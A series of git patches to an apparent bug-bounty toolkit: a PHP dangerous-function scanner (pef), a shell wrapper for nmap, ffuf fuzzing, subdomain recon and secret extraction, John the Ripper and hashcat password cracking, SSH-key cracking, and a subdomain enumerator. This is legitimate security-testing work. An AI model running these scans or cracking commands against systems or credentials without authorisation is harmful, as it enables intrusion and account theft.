-349,10 +356,9 @@ def print_summary(self, total_found: int) -> None: if args.sink: source_or_sink = 'sink' - dirs_to_scan = args.dir - filename = args.file + filename = args.dir # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, dirs_to_scan, args.skip_vendor) + filename, args.skip_vendor, args.function) engine.run() From aa7b5a0b022f68fb9ce97565487a794b80dd53b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 Jun 2024 23:50:27 +0100 Subject: [PATCH 238/289] [s0mbra] notification after fu, peek, nmap scans --- pef/imports/pefdocs.py | 12 ++++++------ s0mbra.sh | 5 +++++ 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..f405130 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,14 +85,14 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium", + "high", "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium", + "high", "sink" ], "pcntl_exec()": [ @@ -538,28 +538,28 @@ "$_POST reference found", "", "", - "critical", + "high", "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical", + "high", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical", + "high", "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical", + "high", "source" ] } diff --git a/s0mbra.sh b/s0mbra.sh index 4dc2304..c2478f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,6 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -45,6 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -84,6 +86,7 @@ rockyou_john() { fi cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." + osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } # show JTR's pot file @@ -296,6 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -425,6 +429,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' } api_fuzz() { From 40421fdd5df10082e01704b024fabe937f838019 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 30 Jun 2024 10:55:15 +0100 Subject: [PATCH 239/289] [pef] added verbose output --- pef/pef.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 136ae84..6c8180d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,7 +171,7 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ @@ -180,7 +180,7 @@ def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor self.phpfunction = '' if phpfunction is None else phpfunction - + self.verbose = verbose self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -214,7 +214,7 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ prints formatted code line """ @@ -244,6 +244,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + if self.verbose: + print(f"\t{doc[1]}\n\t{doc[0]}\n") found += 1 if impact not in severity.keys(): severity[impact] = 1 @@ -329,6 +331,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + parser.add_argument( + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( @@ -360,5 +364,5 @@ def print_summary(self, total_found: int) -> None: # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, args.skip_vendor, args.function) + filename, args.skip_vendor, args.function, args.verbose) engine.run() From c1413e9b84296fa407a24aa57806863acbb39cfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Jul 2024 01:04:18 +0100 Subject: [PATCH 240/289] [pef] added some functions --- pef/imports/pefdocs.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f405130..e6fa9ab 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -479,6 +479,20 @@ "medium", "sink" ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", @@ -486,6 +500,20 @@ "medium", "sink" ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", From a0783e43651421a530847963769321a6116f125f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:26:16 +0100 Subject: [PATCH 241/289] [s0mbra] notification message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c2478f4..924c6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -299,7 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? From ea00bf374874c7e5596f960242abe89e2531d7d3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:34:14 +0100 Subject: [PATCH 242/289] [denumerator] refactoring --- denumerator/denumerator.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index dad6987..da41757 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,11 +1,10 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # pylint: disable=invalid-name """ @TODO - results summary """ - """ --- dENUMerator --- @@ -20,14 +19,15 @@ $ ./denumerator.py [domain_list_file] """ - import argparse +import json import os import subprocess import time -import requests -import json from datetime import datetime + +import requests + welcome = """ --- dENUMerator --- usage: @@ -288,8 +288,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format( - port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "" # HTTP response headers @@ -331,13 +331,13 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( - (http_status_code//100), + (http_status_code // 100), http_status_code_color, element_class_name, http_status_code, url, url, - (http_status_code//100), + (http_status_code // 100), element_class_name, screenshot_name, screenshot_name, @@ -392,7 +392,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, + show=False): """ enumerates domain from domains """ @@ -414,7 +415,8 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if + port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) @@ -473,14 +475,14 @@ def enumerate_from_crt_sh(domain): def main(): - parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( - "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") + "-t", "--target", + help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( @@ -488,10 +490,12 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", + default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", + action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From a73834660df5f7131b56f2c303c2a3a3079eefef Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 02:22:02 +0100 Subject: [PATCH 243/289] [pef] bugfixes --- pef/pef.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6c8180d..ae0d5b2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -32,10 +32,10 @@ # - repeat until the source # -import sys +import argparse import os import re -import argparse +import sys from imports import pefdocs from imports.beautyConsole import beautyConsole @@ -200,6 +200,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ res = None + number_of_isses = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -211,8 +212,10 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) - return res + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + number_of_isses = number_of_isses + 1 if res is not None else number_of_isses + return number_of_isses def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ @@ -251,7 +254,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found > 0 + return found def main(self, src): """ @@ -268,9 +271,10 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: + number_of_issues = self.analyse_line(l, i, fn, f, line) + if number_of_issues > 0: res = True - file_found += 1 + file_found += number_of_issues return (res, file_found) # return how many findings in current file def run(self): @@ -299,7 +303,7 @@ def run(self): total_found += file_found else: self.scanned_files = self.scanned_files + 1 - (res, self.found_entries) = self.main(self.filename) + (res, total_found) = self.main(self.filename) # print summary self.print_summary(total_found) @@ -315,8 +319,8 @@ def print_summary(self, total_found: int) -> None: prints summary at the bottom of search results """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") - print( - f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") + print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") # main program @@ -336,9 +340,9 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( - "-S", "--source", help="show only sources", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( - "-K", "--sink", help="show only sinks", action="store_true") + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", @@ -352,12 +356,12 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level else 'ALL' + level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' source_or_sink = 'ALL' - if args.source: + if args.sources: source_or_sink = 'source' - if args.sink: + if args.sinks: source_or_sink = 'sink' filename = args.dir From 69337abd0b351eaed21a64ab671456a8d840dfd4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 07:41:47 +0100 Subject: [PATCH 244/289] [pef] bugfixes --- pef/pef.py | 39 +++++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index ae0d5b2..94c0c43 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -199,8 +199,8 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - res = None - number_of_isses = 0 + total_number_of_isses = None + meets_criteria = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -208,16 +208,16 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) - number_of_isses = number_of_isses + 1 if res is not None else number_of_isses - return number_of_isses + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + return (meets_criteria, total_number_of_isses) - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -228,7 +228,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou "critical": "red" } - found = 0 + meets_criteria = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -249,12 +249,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor("grey"))) if self.verbose: print(f"\t{doc[1]}\n\t{doc[0]}\n") - found += 1 + meets_criteria += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found + return meets_criteria def main(self, src): """ @@ -271,8 +271,8 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - number_of_issues = self.analyse_line(l, i, fn, f, line) - if number_of_issues > 0: + (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) + if number_of_issues is not None: res = True file_found += number_of_issues return (res, file_found) # return how many findings in current file @@ -291,16 +291,14 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if self.phpfunction == '' and res is not None and f != prev_filename: + if file_found > 0: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") - prev_filename = f - total_found += file_found + total_found += file_found else: self.scanned_files = self.scanned_files + 1 (res, total_found) = self.main(self.filename) @@ -318,7 +316,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") @@ -338,7 +336,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") + "-l", "--level", + help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") parser.add_argument( "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( @@ -357,6 +356,10 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + + # if we are looking for a specific function, level is not taken into account + if args.function is not None: + level = 'ALL' source_or_sink = 'ALL' if args.sources: From 7732955239e7103a803011a90c60046e2673a8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 11:51:07 +0100 Subject: [PATCH 245/289] [s0mbra] LinkFinder by Gerben_Javado added --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 924c6e3..a1acd0a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -746,6 +746,13 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extract links and API endpoints from JavaScript file +links() { + echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 @@ -876,6 +883,9 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; + links) + links "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -905,7 +915,7 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From eb80f832f21ed709a842298c2a4c9e2a1f083306 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:12:44 +0100 Subject: [PATCH 246/289] [s0mbra] added SecretFinder --- s0mbra.sh | 34 +++++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1acd0a..bf38b10 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -742,14 +742,27 @@ b64() { # hash/encode string hshr() { echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" - hasher $1 + hasher "$1" echo -e "$BLUE\n[s0mbra] Done! $CLR" } # extract links and API endpoints from JavaScript file -links() { - echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli +urls() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +endpoints() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# extract secrets from JavaScript file +secrets() { + echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" + python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -883,8 +896,14 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - links) - links "$2" + urls) + urls "$2" + ;; + endpoints) + endpoints "$2" + ;; + secrets) + secrets "$2" ;; *) clear @@ -915,7 +934,8 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From f48eb0ca891290398f73d4ef266f83d15c431574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:38:33 +0100 Subject: [PATCH 247/289] [s0mbra] cleanup; remove broken tools; update menu; --- s0mbra.sh | 69 +++++++++++++++---------------------------------------- 1 file changed, 18 insertions(+), 51 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf38b10..fc39a73 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -50,7 +50,7 @@ quick_nmap_scan() { } # runs Python 3 built-in HTTP server on [PORT] -http() { +http_server() { STACK=$2 echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" @@ -78,37 +78,37 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/jtr/run/john.pot + echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } -# show JTR's pot file +# show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." } -# converts id_rsa to JTR format for cracking SSH key +# converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" - python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" + python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash @@ -245,20 +245,6 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# OSINT -photon() { - URL=$1 - OUTPUT_DIR=$2 - TMPDIR=$(pwd)/photon/$OUTPUT_DIR - if [[ ! -d $TMPDIR ]]; then - mkdir -p $TMPDIR - fi - echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" - /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" - ls -lRA "$TMPDIR" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -381,19 +367,6 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# runs GET parameter(s) discovery -_arjun() { - clear - if [[ -z $2 ]]; then - SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt - else - SELECTED_DICT="$2" - fi - echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w $SELECTED_DICT - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - fu() { # use starter.txt as default dictionary if [[ -z $2 ]]; then @@ -779,12 +752,6 @@ case "$cmd" in peek) peek "$2" ;; - photon) - photon "$2" "$3" - ;; - arjun) - _arjun "$2" "$3" - ;; recon) recon "$2" "$3" "$4" ;; @@ -800,8 +767,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http) - http "$2" "$3" + http_server) + http_server "$2" "$3" 